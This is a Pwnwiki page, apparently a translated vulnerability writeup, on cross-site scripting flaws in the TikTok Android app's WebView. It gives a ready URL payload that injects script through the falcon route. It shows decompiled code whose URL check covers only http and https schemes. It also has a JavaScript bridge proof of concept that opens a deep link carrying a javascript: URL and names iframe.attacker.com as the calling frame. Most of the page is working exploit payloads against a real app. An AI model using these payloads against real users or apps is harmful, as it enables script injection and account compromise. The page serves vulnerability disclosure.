Pwnwiki: Created page with "==Generic XSS on TikTok WebView=="

2021-06-10T02:52:58Z

Created page with "==Generic XSS on TikTok WebView=="

New page

<languages />

==Generic XSS on TikTok WebView==

<pre>
https://m.tiktok.com/falcon/#'),alert(1));//
</pre>
The following execution will be triggered:
<pre>
JSON.stringify(window.performance.getEntriesByName('https://m.tiktok.com/falcon/#'),alert(1));//'))
</pre>

==Add Wiki Activity的另一個XSS==
Add Wiki Activity implements URL verification to ensure that URLs in the blacklist will not be opened in it. But the verification is only carried out in the http or https scheme. Because they believe that other programs are invalid and do not need to be verified.

if(!e.b(arg8)) {
com.bytedance.t.c.e.b.a("AbsSecStrategy", "needBuildSecLink : url is invalid.");
return false;
}public static boolean b(String arg1) {
return !TextUtils.isEmpty(arg1) && ((arg1.startsWith("http")) || (arg1.startsWith("https"))) && !e.a(arg1);
}

Even if the verification is not based on the javascript solution, this solution can also be used to perform XSS attacks on the WebView.

<pre>
window.ToutiaoJSBridge.invokeMethod(JSON.stringify({
"__callback_id": "0",
"func": "openSchema",
"__msg_type": "callback",
"params": {
"schema": "aweme://wiki?url=javascript://m.tiktok.com/%250adocument.write(%22%3Ch1%3EPoC%3C%2Fh1%3E%22)&disable_app_link=false"
},
"JSSDK": "1",
"namespace": "host",
"__iframe_url": "http://iframe.attacker.com/"
}));
</pre>

安卓版TikTok XSS漏洞/en - Revision history

Pwnwiki: Created page with "==Generic XSS on TikTok WebView=="